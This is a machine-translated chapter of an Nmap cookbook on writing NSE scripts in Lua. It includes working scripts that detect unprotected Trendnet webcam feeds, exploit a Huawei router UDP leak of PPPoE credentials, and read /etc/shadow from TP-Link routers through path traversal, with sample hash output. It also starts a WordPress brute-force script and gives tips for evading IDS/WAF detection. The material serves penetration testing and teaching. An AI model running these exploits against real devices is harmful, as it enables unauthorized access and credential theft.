Skip to content

Files

Latest commit

650540f · Oct 19, 2021

History

History
1797 lines (1296 loc) · 73.8 KB

File metadata and controls

1797 lines (1296 loc) · 73.8 KB

九、编写自己的 NSE 脚本

本章向您展示了如何做一些在许多情况下可能是非法的、不道德的、违反服务条款的或不是好主意的事情。这里提供的信息可用于保护您免受威胁,并使您自己的系统更安全。在遵循这些说明之前,请确保您站在法律和道德的正确一边。。。善用你的力量!

在本章中,我们将介绍:

  • 发出 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头
  • 使用 NSE 套接字发送 UDP 有效负载
  • 利用 NSE 攻击路径遍历漏洞
  • 编写暴力脚本
  • 使用 web 爬行库
  • 正确报告 NSE 脚本中的漏洞
  • 编写自己的 NSE 库
  • 在 NSE 中使用 NSE 线程、条件变量和互斥体

导言

Nmap 脚本引擎于 2007 年在 4.5 版中引入,目的是通过使用端口或网络扫描期间收集的信息并执行由强大的脚本语言Lua支持的附加任务,将 Nmap 的功能扩展到一个全新的级别。这个功能已经成为一个完整的兵工厂,官方已经包括了近 300 个脚本。正如您在本书中所学到的,使用此功能可以完成的任务数量令人印象深刻。

Lua 是一种脚本语言,目前用于其他重要项目,如魔兽世界、Wireshark 和 Snort,理由很充分。Lua 是非常轻量级和可扩展的。作为一名 NSE 开发人员,我对 Lua 的体验非常积极。该语言功能强大且灵活,但语法清晰易学。由于 Lua 本身就是一个完整的主题,我无法集中讨论它的所有重要功能,但我建议您阅读上的官方参考手册 http://www.lua.org/manual/5.2/

每个 NSE 脚本接收两个参数:主机和端口表。它们包含查找或端口扫描期间收集的信息。仅当设置了某些标志时,才会填充某些信息字段。主机表中的某些字段包括:

  • host.os:带有 OS 匹配数组的表(需要标志-O
  • host.ip:目标 IP
  • host.name:返回反向 DNS 条目(如果可用)

有关字段的完整列表,请访问http://nmap.org/book/nse-api.html#nse-api 参数

另一方面,端口表包含:

  • port.number:端口号
  • port.protocol:端口协议
  • port.service:服务名称
  • port.version:服务版本
  • port.state:港口国

Nmap 脚本引擎提供的灵活性和信息的结合允许渗透测试人员和系统管理员在编写脚本以自动化任务时节省大量开发时间。

Nmap 背后的社区令人惊叹,而且非常协作。我可以说,他们是开源社区中最热情的人之一。每周都会添加新的脚本和库,这也正是渗透测试人员需要将最新的开发快照保存在他们的软件库中的原因。

为了纪念 David Fifield 和 Fyodor 在 Defcon 2010 中介绍 Nmap 脚本引擎的演讲,他们编写了一个脚本来检测易受攻击的 httpd 网络摄像头,我们将首先编写自己的 NSE 脚本来检测 Trendnet 摄像头。

在本章中,您还将学习如何编写执行蛮力密码审计的 NSE 脚本,并将使用新的 HTTP 爬虫库自动执行安全检查。我们将讨论处理 NSE 套接字和原始数据包以利用漏洞的脚本。我们将介绍一些 NSE 库,它们允许我们发出 HTTP 请求,管理找到的凭据,并向用户报告漏洞。

Nmap 脚本引擎发展得很快,而且增长得更快。由于篇幅有限,不可能涵盖本项目已有的所有优秀 NSE 脚本和库,但我邀请您访问官方图书网站http://nmap-cookbook.com 我将在未来发布更多的食谱和脚本示例。

我希望在阅读了我为您挑选的食谱后,您将学习所有必要的工具,以承担更具挑战性的任务。让调试模式成为你的朋友(-d[1-9]),当然,不要忘了通过将脚本或补丁发送到<[nmap-dev@insecure.org](mailto:nmap-dev@insecure.org)>来为这个惊人的项目做出贡献。

如果这是您第一次为 NSE 编写脚本,我建议您下载并研究脚本的总体结构和必要字段。我上传了我在上使用过的模板 https://github.com/cldrn/nmap-nse-scripts/blob/master/nse-script-template.nse

Ron Bowes 还在上为 NSE 脚本编写了一个非常详细的模板 http://nmap.org/svn/docs/sample-script.nse

NSE 脚本格式的完整文档可在网上找到 http://nmap.org/book/nse-script-format.html

发出 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头

Nmap 脚本引擎提供了一个库来处理 HTTP 客户端的请求和其他常见功能。有了这个库,NSE 开发人员可以完成许多任务,从信息收集到漏洞攻击。

此配方将向您展示如何使用 HTTP 库发送 HTTP 请求,以识别易受攻击的 Trendnet TV-IP110W 网络摄像头。

怎么做。。。

Trendnet TV-IP110W 网络摄像头只需请求 URI/anony/mjpg.cgi即可允许未经验证的访问其视频源。让我们编写一个 NSE 脚本来检测这些设备。现在,让我们忽略文档标记:

  1. 创建文件http-trendnet-tvip110w.nse并开始填写 NSE 脚本基本信息字段:

    description = [[
    Attempts to detect webcams Trendnet TV-IP110W vulnerable to unauthenticated access to the video stream by querying the URI "/anony/mjpg.cgi".
    
    Original advisory: http://console-cowboys.blogspot.com/2012/01/trendnet-cameras-i-always-feel-like.html
    ]]
    
    categories = {"exploit","vuln"}
    
  2. 我们加载我们需要的库。请注意,此格式对应于 Nmap 6.x:

    local http = require "http"
    local shortport = require "shortport"
    local stdnse = require "stdnse"
    
  3. 我们定义执行规则。我们使用别名shortport.http告诉 Nmap 在找到 web 服务器时执行脚本:

    portrule = shortport.http
    
  4. 我们的主要功能将识别 404 响应的类型,并通过向/anony/mjpg.cgi发送 HTTP 请求并检查状态代码 200:

    action = function(host, port)
      local uri = "/anony/mjpg.cgi"
    
      local _, status_404, resp_404 = http.identify_404(host, port)
      if status_404 == 200 then
        stdnse.print_debug(1, "%s: Web server returns ambiguous response. Trendnet webcams return standard 404 status responses. Exiting.", SCRIPT_NAME)
        return
      end
    
      stdnse.print_debug(1, "%s: HTTP HEAD %s", SCRIPT_NAME, uri)
      local resp = http.head(host, port, uri)
      if resp.status and resp.status == 200 then
        return string.format("Trendnet TV-IP110W video feed is unprotected:http://%s/anony/mjpg.cgi", host.ip)
      end
    end
    

    来确定网络摄像头是否容易受到未经授权的访问

  5. 现在只需针对您的目标运行 NSE 脚本:

    $ nmap -p80 -n -Pn --script http-trendnet-tvip110w.nse <target>
    
    
  6. 如果发现有漏洞的网络摄像头,您将看到以下输出:

    PORT   STATE SERVICE REASON
    80/tcp open  http    syn-ack
    |_http-trendnet-tvip110w: Trendnet TV-IP110W video feed is unprotected:http://192.168.4.20/anony/mjpg.cgi
    

带文档标签的完整脚本可从下载 https://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/http-trendnet-tvip110w.nse

它是如何工作的。。。

在脚本http-trendnet-tvip110w.nse中,我们使用shortport库中的别名http定义了执行规则:

portrule = shortport.http

别名shortport.http在文件/nselib/shortport.lua中定义如下:

LIKELY_HTTP_PORTS = {
        80, 443, 631, 7080, 8080, 8088, 5800, 3872, 8180, 8000
}

LIKELY_HTTP_SERVICES = {
        "http", "https", "ipp", "http-alt", "vnc-http", "oem-agent", "soap",
        "http-proxy",
}

http = port_or_service(LIKELY_HTTP_PORTS, LIKELY_HTTP_SERVICES)

http库中有http.head()http.get()http.post()等方法,分别对应于常见的 HTTP 方法HEADGETPOST,但它也有一个名为http.generic_request()的通用方法,以便开发人员可以更灵活地尝试更晦涩的 HTTP 动词。

在脚本http-trendnet-tvip110w中,我们使用函数http.head()检索 URI/anony/mjpg.cgi

local resp = http.head(host, port, uri)

函数http.head()返回包含以下响应信息的表:

  • status-line:包含返回的状态行。例如,HTTP/1.1 404 Not Found
  • status:包含 web 服务器返回的状态码。
  • body:包含响应主体。
  • cookies:网络服务器设置的 cookie 表。
  • header:存储返回头的关联表。标题的名称用作索引。例如,header["server"]包含 web 服务器返回的服务器字段。
  • rawheader:标题的编号数组,其顺序与 web 服务器发送的标题相同。

脚本http-trendnet-tvip110w.nse中也使用了库stdnse。该库是编写 NSE 脚本时方便使用的各种函数的集合。脚本使用了stdnse.print_debug()功能,该功能用于打印调试消息:

stdnse.print_debug(<debug level required>, <format string>, arg1, arg2...)  

这些库的完整文档可在中找到 http://nmap.org/nsedoc/lib/http.htmlhttp://nmap.org/nsedoc/lib/stdnse.html

还有更多。。。

当页面不存在时,某些 web 服务器不会返回常规状态 404 代码响应,而是始终返回状态代码 200。这是一个经常被忽略的方面,甚至我以前也犯过错误,认为状态为 200 意味着 URI 存在。我们需要注意这一点,以避免脚本中出现误报。创建函数http.identify_404()http.page_exists()是为了确定服务器是否返回常规 404 响应以及给定页面是否存在。

local status_404, req_404, page_404 = http.identify_404(host, port)

如果http.identify_404(host, port)功能成功,我们可以使用http.page_exists()

if http.page_exists(data, req_404, page_404, uri, true) then
  stdnse.print_debug(1, "Page exists! → %s", uri)
end

调试 Nmap 脚本

如果发生意外情况,请启用调试以获取其他信息。Nmap 使用-d标志进行调试,可以设置 0 到 9 之间的任意整数:

$ nmap -p80 --script http-google-email -d4 <target>

实际设置用户代理

有些包过滤产品使用 Nmap 的默认 HTTP 用户代理阻止请求。通过设置参数http.useragent,可以使用不同的用户代理值:

$ nmap -p80 --script http-sqli-finder --script-args http.useragent="Mozilla 42" <target>

要在 NSE 脚本中设置用户代理,可以传递标题字段:

options = {header={}}
options['header']['User-Agent'] = "Mozilla/9.1 (compatible; Windows NT 5.0 build 1420;)"
local req = http.get(host, port, uri, options)

HTTP 流水线

某些 web 服务器的配置支持在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 web 服务器支持,建议您使用它。默认情况下,http库尝试通过管道传输 40 个请求,并根据网络条件和Keep-Alive头自动调整该数量。

用户需要设置脚本参数http.pipeline来调整此值:

$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>

要在 NSE 脚本中实现 HTTP 管道,请使用函数http.pipeline_add()http.pipeline()。首先,启动一个保存请求的变量:

local reqs = nil

使用http.pipeline_add()向管道添加请求:

reqs = http.pipeline_add('/Trace.axd', nil, reqs)
reqs = http.pipeline_add('/trace.axd', nil, reqs)
reqs = http.pipeline_add('/Web.config.old', nil, reqs)

添加完请求后,使用http.pipeline()执行管道:

local results = http.pipeline(target, 80, reqs)

变量 results 将包含添加到 HTTP 请求队列的响应对象的数量。要访问它们,只需遍历对象即可:

for i, req in pairs(results) do
  stdnse.print_debug(1, "Request #%d returned status %d", I, req.status)
end

另见

  • 使用 NSE 套接字发送 UDP 有效负载
  • 利用 NSE配方攻击路径遍历漏洞
  • 编写暴力脚本配方
  • 使用网页爬行库配方
  • 在 NSE 脚本配方中正确报告漏洞
  • 编写自己的 NSE 库配方
  • 清单支持第 4 章审计 Web 服务器中的 HTTP 方法配方
  • 第 4 章审计 Web 服务器中的检查 HTTP 代理是否打开配方
  • 第 4 章审计 web 服务器中的检测 web 应用防火墙配方
  • 第 4 章审计 Web 服务器中的检测可能的 XST 漏洞配方

使用 NSE 套接字发送 UDP 有效负载

Nmap 脚本引擎通过提供与Nsock的接口,为处理网络 I/O 操作提供了一个强大的库。Nsock 是 Nmap 优化的并行套接字库,它的灵活性允许开发人员处理原始数据包,并决定是否使用阻塞或非阻塞网络 I/O 操作。

此方法将完成编写 NSE 脚本的过程,该脚本从文件中读取有效负载并发送 UDP 数据包,以利用华为 HG5xx 路由器中的漏洞进行攻击。

怎么做。。。

华为 HG5xx 路由器在接收到 UDP 端口 43690 的特殊数据包时会泄露敏感信息。这个漏洞引起了我的注意,因为这是一个非常流行的设备,可以远程工作,并获取有趣的信息,如 PPPoE 凭据、MAC 地址和确切的软件/固件版本。让我们编写一个脚本来利用这些设备:

  1. 首先,创建文件huawei-hg5xx-udpinfo.nse并定义信息标签:

    description=[[
    Tries to obtain the PPPoE credentials, MAC address, firmware version and IP information of the aDSL modemsHuawei Echolife 520, 520b, 530 and possibly others by exploiting an information disclosure vulnerability via UDP.
    
    The script works by sending a crafted UDP packet to port 43690 and then parsing the response that containsthe configuration values. This exploit has been reported to be blocked in some ISPs, in those cases the exploit seems to work fine in local networks.
    Vulnerability discovered by Pedro Joaquin. No CVE assigned.
    
    References:
    * http://www.hakim.ws/huawei/HG520_udpinfo.tar.gz
    * http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure
    ]]
    
  2. 加载所需的库(Nmap 6.x 格式):

    local "stdnse" = require "stdnse"
    local "io" = require "io"
    local "shortport" = require "shortport"
    
  3. 定义执行规则:

    portrule = shortport.portnumber(43690, "udp", {"open", "open|filtered","filtered"})
    
  4. 创建一个函数以从文件

    load_udp_payload = function()
      local payload_l = nmap.fetchfile(PAYLOAD_LOCATION)
      if (not(payload_l)) then
        stdnse.print_debug(1, "%s:Couldn't locate payload %s", SCRIPT_NAME, PAYLOAD_LOCATION)
        return
      end
      local payload_h = io.open(payload_l, "rb")
      local payload = payload_h:read("*a")
      if (not(payload)) then
        stdnse.print_debug(1, "%s:Couldn't load payload %s", SCRIPT_NAME, payload_l)
        if nmap.verbosity()>=2 then
          return "[Error] Couldn't load payload"
        end
        return
      end
    
      payload_h:flush()
      payload_h:close()
      return payload
    end
    

    加载 UDP 有效负载

  5. 创建创建 NSE 套接字并发送特殊 UDP 数据包的函数:

    send_udp_payload = function(ip, timeout, payload)
      local data
      stdnse.print_debug(2, "%s:Sending UDP payload", SCRIPT_NAME)
      local socket = nmap.new_socket("udp")
      socket:set_timeout(tonumber(timeout))
      local status = socket:connect(ip, HUAWEI_UDP_PORT, "udp")
      if (not(status)) then return end
      status = socket:send(payload)
      if (not(status)) then return end
      status, data = socket:receive()
      if (not(status)) then
        socket:close()
        return
      end
      socket:close()
      return data
    end
    
  6. 添加 main 方法,加载并发送 UDP 负载:

    action = function(host, port)
      local timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 3000
      local payload = load_udp_payload()
      local response = send_udp_payload(host.ip, timeout, payload)
      if response then
        return parse_resp(response)
      end
    end
    
  7. 您可以使用以下命令运行最终脚本:

    # nmap -sU -p43690 --script huawei-hg5xx-udpinfo <target>
    
    

易受攻击的设备将返回以下输出:

PORT      STATE         SERVICE REASON
-- 43690/udp open|filtered unknown no-response
-- |_huawei5xx-udp-info: |\x10||||||||<Firmware version>|||||||||||||||||||||||||||||||<MAC addr>|||<Software version>||||||||||||||||||||||||||||||||||||||||||||| <local ip>|||||||||||||||||||<remote ip>||||||||||||||||||<model>|||||||||||||||<pppoe user>|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||<pppoe password>

它是如何工作的。。。

我们的脚本huawei-hg5xx-udpinfo用别名shortport.portnumber(ports, protos, states)定义了执行规则。如果 UDP 端口 43690 为openopen|filteredfiltered,我们的脚本将运行:

portrule = shortport.portnumber(43690, "udp", {"open", "open|filtered","filtered"})

您可以用几种不同的方式读取 NSE 参数,但建议使用的函数是stdnse.get_script_args()。这允许多个赋值,并支持速记赋值(不必在参数名称之前键入脚本名称):

local timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 3000

NSE 套接字由nmap库管理。要创建 NSE 插座,请使用功能nmap.new_socket(),要连接到此插座,请使用connect()

local socket = nmap.new_socket("udp")
socket:set_timeout(tonumber(timeout))
local status = socket:connect(ip, HUAWEI_UDP_PORT, "udp")

我们按如下方式发送 UDP 有效负载:

status = socket:send(payload)

我们从 NSE 套接字读取响应:

status, data = socket:receive()

一如既往,当我们使用功能close()完成时,我们需要关闭插座:

local socket = nmap.net_socket("udp")
…
socket:close()

现在我们可以处理接收到的数据了。在这种情况下,我将替换空字符以获得更易于阅读的输出:

return data:gsub("%z", "|")

您可以从下载完整的脚本 https://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/huawei5xx-udp-info.nse

还有更多。。。

脚本huawei-hg5xx-udpinfo使用标准连接样式,其中创建套接字,建立连接,发送和/或接收数据,并关闭连接。

如果您需要更多控制,nmap库还支持读取和写入原始数据包。脚本引擎通过 Nsock 使用libpcap包装器读取原始数据包,并可以在以太网或 IP 层发送它们。

在读取原始数据包时,您需要打开捕获设备并注册一个侦听器,以便在数据包到达时对其进行处理。功能pcap_open()pcap_receive()pcap_close()对应于打开捕获设备、接收数据包和关闭侦听器。我建议您看看脚本sniffer-detecthttp://nmap.org/nsedoc/scripts/sniffer-detect.htmlfirewalkhttp://nmap.org/svn/scripts/firewalk.nse 、及ipidseqhttp://nmap.org/svn/scripts/ipidseq.nse

如果需要发送原始数据包,请使用nmap.new_dnet()创建一个dnet对象,并根据层(IP 或以太网),使用ip_open()ethernet_open()方法打开连接。要实际发送原始数据包,请根据需要使用函数ip_send()ethernet_send()。脚本ipidseq.nse中的以下片段说明了该过程:

local genericpkt = function(host, port)
        local pkt = bin.pack("H",
                "4500 002c 55d1 0000 8006 0000 0000 0000" ..
                "0000 0000 0000 0000 0000 0000 0000 0000" ..
                "6002 0c00 0000 0000 0204 05b4"
        )
        local tcp = packet.Packet:new(pkt, pkt:len())
        tcp:ip_set_bin_src(host.bin_ip_src)
        tcp:ip_set_bin_dst(host.bin_ip)
        tcp:tcp_set_dport(port)
        updatepkt(tcp)
        return tcp
end
...
local sock = nmap.new_dnet()
try(sock:ip_open())
try(sock:ip_send(tcp.buf))
sock:ip_close()

我鼓励您在上阅读这些库的全部文档 http://nmap.org/nsedoc/lib/nmap.html 。如果您使用的是原始数据包,那么库packet也将为您提供很多帮助(http://nmap.org/nsedoc/lib/packet.html))。

异常处理

nmap为 NSE 脚本提供异常处理机制,旨在帮助完成网络 I/O 任务。

nmap库中的异常处理机制工作正常。我们将要监视异常的代码包装在nmap.try()调用中。函数返回的第一个值指示完成状态。如果返回falsenil,则第二个返回值必须是错误字符串。成功执行中的其余返回值可以根据需要设置和使用。当引发异常时,nmap.new_try()定义的 catch 函数将执行。

下面的示例代码是脚本mysql-vuln-cve2012-2122.nse的一段代码 http://nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html 。在此脚本中,如果套接字保持打开状态,catch 函数将执行一些简单的垃圾收集:

local catch = function()  socket:close() end
local try = nmap.new_try(catch)
…
  try( socket:connect(host, port) )
  response = try( mysql.receiveGreeting(socket) )

NSE 图书馆的官方文件nmap可在找到 http://nmap.org/nsedoc/lib/nmap.html

调试 Nmap 脚本

如果发生意外情况,请启用调试以获取其他信息。Nmap 使用-d标志进行调试,可以设置 0 到 9 之间的任意整数:

$ nmap -p80 --script http-google-email -d4 <target>

另见

  • 发出 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头配方
  • 利用 NSE配方攻击路径遍历漏洞
  • 编写暴力脚本配方
  • 使用网页爬行库配方
  • 在 NSE 脚本配方中正确报告漏洞
  • 编写自己的 NSE 库配方
  • 在 NSE配方中使用 NSE 线程、条件变量和互斥体

利用 NSE 攻击路径遍历漏洞

许多 web 应用程序中都存在路径遍历漏洞。Nmap NSE 使渗透测试人员能够快速编写脚本来利用它们。Lua 还支持字符串捕获,这在使用语法比正则表达式更简单的模式提取信息时非常有用。

本食谱将教您如何编写 NSE 脚本,以利用某些型号的 TP 链路路由器中存在的路径遍历漏洞。

怎么做。。。

我们将编写一个 NSE 脚本,利用几个 TP 链路路由器中的路径遍历漏洞。我们将利用一些 NSE 库和 Lua 的字符串库:

  1. 创建文件http-tplink-dir-traversal.nse并完成 NSE 信息标签:

    description = [[
    Exploits a directory traversal vulnerability existing in several TP-Link wireless routers. Attackers may exploit this vulnerability to read any of the configuration and password files remotely and without authentication.
    
    This vulnerability was confirmed in models WR740N, WR740ND and WR2543ND but there are several models that use the same HTTP server so I believe they could be vulnerable as well. I appreciateany help confirming the vulnerability in other models.
    
    Advisory:
    * http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
    
    Other interesting files:
    * /tmp/topology.cnf (Wireless configuration)
    * /tmp/ath0.ap_bss (Wireless encryption key)
    ]]
    
  2. 加载所需的库(Nmap 6.x 格式):

    local http = require "http"
    local io = require "io"
    local shortport = require "shortport"
    local stdnse = require "stdnse"
    local string = require "string"
    local vulns = require "vulns"
    
  3. 借助shortport

    portrule = shortport.http
    

    定义执行规则

  4. 编写函数发送路径遍历请求,判断 web 应用是否易受攻击:

    local function check_vuln(host, port)
      local evil_uri = "/help/../../etc/shadow"
      stdnse.print_debug(1, "%s:HTTP GET %s", SCRIPT_NAME, evil_uri)
      local response = http.get(host, port, evil_uri)
      if response.body and response.status==200 and response.body:match("root:") then
        stdnse.print_debug(1, "%s:Pattern 'root:' found.", SCRIPT_NAME, response.body)
        return true
      end
      return false
    end
    
  5. 借助 Lua 捕获(.*

    local _, _, rfile_content = string.find(response.body, 'SCRIPT>(.*)')
    

    读取并解析响应中的文件

  6. 最后,使用以下命令执行脚本:

    $ nmap -p80 --script http-tplink-dir-traversal.nse <target>
    
    

易受攻击的设备将产生以下输出:

-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | http-tplink-dir-traversal:
-- |   VULNERABLE:
-- |   Path traversal vulnerability in several TP-Link wireless routers
-- |     State: VULNERABLE (Exploitable)
-- |     Description:
-- |       Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device.
-- |       This vulnerability can be exploited remotely and without authentication.
-- |       Confirmed vulnerable models: WR740N, WR740ND, WR2543ND
-- |       Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.
-- |     Disclosure date: 2012-06-18
-- |     Extra information:
-- |       /etc/shadow :
-- |   
-- |   root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
-- |   Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
-- |   bin::10933:0:99999:7:::
-- |   daemon::10933:0:99999:7:::
-- |   adm::10933:0:99999:7:::
-- |   lp:*:10933:0:99999:7:::
-- |   sync:*:10933:0:99999:7:::
-- |   shutdown:*:10933:0:99999:7:::
-- |   halt:*:10933:0:99999:7:::
-- |   uucp:*:10933:0:99999:7:::
-- |   operator:*:10933:0:99999:7:::
-- |   nobody::10933:0:99999:7:::
-- |   ap71::10933:0:99999:7:::
-- |   
-- |     References:
-- |_      http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740

它是如何工作的。。。

脚本http-tplink-dir-traversal.nse执行以下任务以利用所讨论的路径遍历漏洞:

  1. 首先,它发送路径遍历请求以确定安装是否易受攻击。
  2. 如果安装有漏洞,请从 web 服务器发送的响应中提取请求的文件。
  3. 向用户报告漏洞并提供概念证明。

在这种情况下,库http需要发送包含路径遍历负载的 HTTP 请求。为了确定设备是否易受攻击,我们请求文件/etc/shadow,因为我们知道该文件存在于所有设备中,并且其中必须存在根帐户:

local response = http.get(host, port, "/help/../../../etc/shadow")

响应应在其正文中包含请求的文件,在结束脚本标记</SCRIPT>之后:

How it works...

要确认可利用性,我们只需要将响应主体与字符串“root:”匹配:

if response.body and response.status==200 and response.body:match("root:") then
    stdnse.print_debug(1, "%s:Pattern 'root:' found.", SCRIPT_NAME, response.body)
    return true
  end

Lua 捕获允许开发人员提取与给定模式匹配的字符串。他们非常有帮助,我强烈建议你和他们一起玩(http://www.lua.org/pil/20.3.html

local _, _, rfile_content = string.find(response.body, 'SCRIPT>(.*)')

一旦我们确认该漏洞,建议使用库vulns进行报告。创建此库是为了统一各种 NSE 脚本使用的输出格式。它支持多个字段以有组织的方式提供所有漏洞详细信息:

local vuln = {
       title = 'Path traversal vulnerability in several TP-Link wireless routers',
       state = vulns.STATE.NOT_VULN,
       description = [[
Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device.
This vulnerability can be exploited without authentication.Confirmed vulnerable models: WR740N, WR740ND, WR2543ND
Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.]],
       references = {
           'http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740'
       },
       dates = {
           disclosure = {year = '2012', month = '06', day = '18'},       },
  }
  local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)

vulns库中定义了以下状态:

STATE_MSG = {
  [STATE.LIKELY_VULN] = 'LIKELY VULNERABLE',
  [STATE.NOT_VULN] = 'NOT VULNERABLE',
  [STATE.VULN] = 'VULNERABLE',
  [STATE.DoS] = 'VULNERABLE (DoS)',
  [STATE.EXPLOIT] = 'VULNERABLE (Exploitable)',
  [bit.bor(STATE.DoS,STATE.VULN)] = 'VUNERABLE (DoS)',
  [bit.bor(STATE.EXPLOIT,STATE.VULN)] = 'VULNERABLE (Exploitable)',
}

若要返回漏洞报告,请使用make_output(vuln)。如果状态设置为除vulns.STATE.NOT_VULN之外的任何值,此函数将返回漏洞报告:

local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local vuln = { title = "VULN TITLE", ...}
…
vuln.state = vulns.STATE.EXPLOIT
…
vuln_report:make_output(vuln)

检查上一示例中的脚本输出,查看使用 NSE 库vulns时漏洞报告的外观。访问图书馆的官方文档,了解更多关于可能的报告字段及其用法的信息:http://nmap.org/nsedoc/lib/vulns.html

还有更多。。。

在编写 NSE 脚本以利用路径遍历漏洞时,请记住 IPS/IDS 供应商将创建补丁来识别您的检测探针。如果可能,我建议您使用支持的最隐蔽的编码方案。在上一个示例中,应用程序中没有正确读取其他编码,我们别无选择,只能使用众所周知的模式"../",任何像样的 WAF/IPS/ID 都会检测到该模式。

我推荐工具 dotpwn(http://dotdotpwn.blogspot.com/ 及其模块payload在利用路径遍历漏洞时定位模糊编码。理想情况下,您还可以编写一个小函数,在每个请求中随机使用不同的路径遍历模式:

local traversals = {"../", "%2f"}

调试 NSE 脚本

如果发生意外情况,请启用调试以获取其他信息。Nmap 使用-d标志进行调试,可以设置 0 到 9 之间的任意整数:

$ nmap -p80 --script http-google-email -d4 <target>

实际设置用户代理

有些包过滤产品使用 Nmap 的默认 HTTP 用户代理阻止请求。通过设置参数http.useragent,可以使用不同的用户代理值:

$ nmap -p80 --script http-sqli-finder --script-args http.useragent="Mozilla 42" <target>

要在 NSE 脚本中设置用户代理,可以传递标题字段:

options = {header={}}
options['header']['User-Agent'] = "Mozilla/9.1 (compatible; Windows NT 5.0 build 1420;)"
local req = http.get(host, port, uri, options)

HTTP 流水线

某些 web 服务器配置支持在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 web 服务器支持,建议您使用它。默认情况下,http库尝试通过管道传输 40 个请求,并根据网络条件和Keep-Alive头自动调整该数量。

用户需要设置脚本参数http.pipeline来调整此值:

$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>

要在 NSE 脚本中实现 HTTP 管道,请使用函数http.pipeline_add()http.pipeline()。首先,启动一个保存请求的变量:

local reqs = nil

使用http.pipeline_add()向管道添加请求:

reqs = http.pipeline_add('/Trace.axd', nil, reqs)
reqs = http.pipeline_add('/trace.axd', nil, reqs)
reqs = http.pipeline_add('/Web.config.old', nil, reqs)

添加完请求后,使用http.pipeline()执行管道:

local results = http.pipeline(target, 80, reqs)

变量 results 将包含添加到 HTTP 请求队列的响应对象的数量。要访问它们,只需遍历对象即可:

for i, req in pairs(results) do
  stdnse.print_debug(1, "Request #%d returned status %d", I, req.status)
end

另见

  • 发出 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头配方
  • 使用 NSE 套接字发送 UDP 有效负载
  • 检测 web 应用防火墙配方第 4 章审计 web 服务器
  • 检测可能的 XST 漏洞配方第 4 章审计 Web 服务器
  • 编写暴力脚本配方
  • 使用网页爬行库配方
  • 在 NSE 脚本配方中正确报告漏洞

写蛮力脚本

蛮力密码审计已成为 Nmap 脚本引擎的主要优势。库brute允许开发人员快速编写脚本来执行自定义暴力攻击。Nmap 提供了诸如unpwd之类的库,该库允许访问灵活的用户名和密码数据库以进一步自定义攻击,以及库creds,该库提供了管理找到的有效凭据的接口。

本食谱将指导您使用 NSE 库bruteunpwdbcreds对 Wordpress 安装执行暴力密码审计,从而完成编写自己的暴力脚本的过程。

怎么做。。。

让我们为暴力 Wordpress 帐户编写一个 NSE 脚本:

  1. 创建文件http-wordpress-brute.nse并完成信息标签:

    description = [[
    performs brute force password auditing against Wordpress CMS/blog installations.
    
    This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses arestored using the credentials library.
    
    Wordpress default uri and form names:
    * Default uri:<code>wp-login.php</code>
    * Default uservar: <code>log</code>
    * Default passvar: <code>pwd</code>
    ]]
    author = "Paulino Calderon <calderon()websec.mx>"
    license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
    categories = {"intrusive", "brute"}
    
  2. 加载所需的库(Nmap 6.x 格式):

    local brute = require "brute"
    local creds = require "creds"
    local http = require "http"
    local shortport = require "shortport"
    local stdnse = require "stdnse"
    
  3. 使用暴力引擎的 NSE 脚本需要实现其Driver类,如下所示:

    Driver = {
      new = function(self, host, port, options)
      ...
      end,
      check = function(self)
      ...
      end
      login = function(self)
      ...
      end
      connect = function(self)
      ...
      end
      disconnect = function(self)
      ...
      end
    }
    
  4. 让我们创建与脚本相关的相应函数:

    • constructor函数负责读取脚本参数并设置脚本可能需要的任何其他选项:

              new = function(self, host, port, options)
                  local o = {}
                  setmetatable(o, self)
                  self.__index = self
                  o.host = stdnse.get_script_args('http-wordpress-brute.hostname') or host
                  o.port = port
                  o.uri = stdnse.get_script_args('http-wordpress-brute.uri') or DEFAULT_WP_URI
                  o.options = options
                  return o
                end,
      
    • connect功能可以保留为空,因为在这种情况下不需要连接到插座;我们正在对 HTTP 服务执行暴力密码审计攻击(库http负责在下次登录函数中使用时打开和关闭必要的套接字):

               connect = function( self )
                  return true
                end,
      
    • 此脚本的disconnect函数也可以为空:

              disconnect = function( self )
                  return true
                end,
      
    • 在我们开始蛮力密码攻击之前,check函数被用作健全性检查。请注意,此函数最近被标记为已弃用,这些检查需要在将来的版本中移至主部分:

                check = function( self )
                  local response = http.get( self.host, self.port, self.uri )
                  stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
                  -- Check if password field is there
                  if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
                    stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
                    return true
                  else
                    stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
                  end
      
                  return false
